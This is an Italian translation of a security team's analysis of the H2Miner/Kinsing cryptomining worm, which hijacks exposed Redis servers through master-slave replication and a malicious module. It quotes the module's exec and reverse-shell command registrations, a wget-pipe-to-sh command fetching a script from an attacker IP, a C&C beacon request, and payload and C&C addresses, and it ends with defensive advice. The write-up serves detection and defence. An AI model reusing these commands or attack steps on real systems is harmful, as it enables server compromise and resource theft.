Un giorno fa, uno dei server del mio progetto è stato attaccato da un worm simile. Cercando una risposta alla domanda "cosa è successo?" ho trovato un articolo interessante del team di Alibaba Cloud Security. Poiché non ho trovato questo articolo su Habra, ho deciso di tradurlo appositamente per voi <3
Introduzione
Recentemente, il team di sicurezza di Alibaba Cloud ha scoperto un'improvvisa esplosione di H2Miner. Questo tipo di worm malevolo sfrutta l'assenza di autorizzazione o le password deboli per Redis come gateway ai vostri sistemi, quindi sincronizza il proprio modulo malevolo con uno slave tramite la sincronizzazione master-slave e, infine, carica questo modulo malevolo sulla macchina attaccata ed esegue istruzioni dannose.
In passato, gli attacchi ai vostri sistemi venivano principalmente effettuati tramite un metodo che includeva task pianificati o chiavi SSH, che venivano registrate sulla vostra macchina dopo che l'attaccante accedeva a Redis. Fortunatamente, questo metodo non può essere spesso utilizzato a causa di problemi di controllo dei permessi o di diverse versioni del sistema. Tuttavia, questo metodo di caricamento di un modulo dannoso può eseguire direttamente comandi dell'attaccante o accedere a una shell, il che è pericoloso per il vostro sistema.
A causa del gran numero di server Redis, ospitati su Internet (quasi 1 milione), il team di sicurezza di Alibaba Cloud, come promemoria amichevole, consiglia agli utenti di non fornire accesso a Redis dalla rete e di controllare regolarmente l'affidabilità delle proprie password, assicurandosi di non essere vulnerabili a attacchi di brute force.
H2Miner
H2Miner è un botnet di mining per sistemi basati su Linux, che può penetrare nel tuo sistema in vari modi, incluso l'accesso non autorizzato a Hadoop yarn, Docker e la vulnerabilità di esecuzione remota dei comandi Redis (RCE). Il botnet funziona caricando script dannosi e malware per estrarre i tuoi dati, espandere orizzontalmente l'attacco e mantenere il collegamento di comando e controllo (C&C).
Redis RCE
Le informazioni su questo argomento sono state condivise da Pavel Toporkov durante ZeroNights 2018. Dopo la versione 4.0, Redis supporta la funzione di caricamento di moduli esterni, che consente agli utenti di caricare file .so compilati in C in Redis per eseguire specifici comandi Redis. Questa funzione, sebbene utile, presenta una vulnerabilità in cui, in modalità master-slave, i file possono essere sincronizzati con lo slave tramite la modalità fullresync. Un attaccante potrebbe sfruttare questa vulnerabilità per trasferire file .so dannosi. Dopo il trasferimento, i malintenzionati caricano il modulo sull'istanza Redis compromessa ed eseguono qualsiasi comando.
Analisi del worm dannoso
Di recente, il team di sicurezza di Alibaba Cloud ha scoperto che la dimensione del gruppo di miner malevoli H2Miner è aumentata drasticamente. Secondo l'analisi, il processo complessivo di attacco si presenta come segue:
H2Miner utilizza RCE Redis per un attacco completo. Inizialmente, gli aggressori attaccano i server Redis non protetti o i server con password deboli.
Successivamente, usano il comando config set dbfilename red2.so per cambiare il nome del file. Dopo di che, gli attaccanti eseguono il comando slaveof per impostare l'indirizzo dell'host di replicazione master-slave.
Quando l'istanza Redis attaccata stabilisce una connessione master-slave con il Redis malevolo, di proprietà dell'aggressore, l'attaccante invia il modulo infetto utilizzando il comando fullresync per sincronizzare i file. Successivamente, il file red2.so verrà caricato sulla macchina attaccata. Gli aggressori quindi utilizzano il modulo ./red2.so per caricare questo file so. Il modulo può eseguire comandi dell'aggressore o avviare una connessione inversa (backdoor) per ottenere accesso alla macchina attaccata.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Dopo l'esecuzione di un comando dannoso, come / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, l'attaccante azzererà il nome del file di backup e scaricherà il modulo di sistema per cancellare le tracce. Tuttavia, il file red2.so rimarrà ancora sulla macchina attaccata. Si consiglia agli utenti di prestare attenzione alla presenza di un file sospetto nella cartella della loro istanza Redis.
Oltre a distruggere alcuni processi dannosi per rubare risorse, l'attaccante ha seguito uno schema malevolo, scaricando ed eseguendo file dannosi in formato binario per . Ciò significa che il nome del processo o il nome della cartella che contiene kinsing sull'host possono indicare che questa macchina è stata infettata da questo virus.
Secondo i risultati del reverse engineering, il malware svolge principalmente le seguenti funzioni:
- Scaricare file e eseguirli
- Mining
- Mantenere il contatto con C&C ed eseguire i comandi dell'attaccante
Utilizza masscan per la scansione esterna al fine di espandere l'influenza. Inoltre, l'indirizzo IP del server C&C è rigidamente criptato nel programma, e l'host attaccato interagirà con il server di comunicazione C&C tramite richieste HTTP, dove le informazioni sui zombie (server compromessi) sono identificate nell'intestazione HTTP.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Altri metodi di attacco
Indirizzi e collegamenti utilizzati dal worm
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
c&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Suggerimento
In primo luogo, Redis non dovrebbe essere accessibile da Internet e deve essere protetto da una password robusta. Inoltre, è importante che i clienti controllino l'assenza del file red2.so nella directory di Redis e l'assenza di "kinsing" nel nome del file/processo sull'host.
Fonte: habr.com
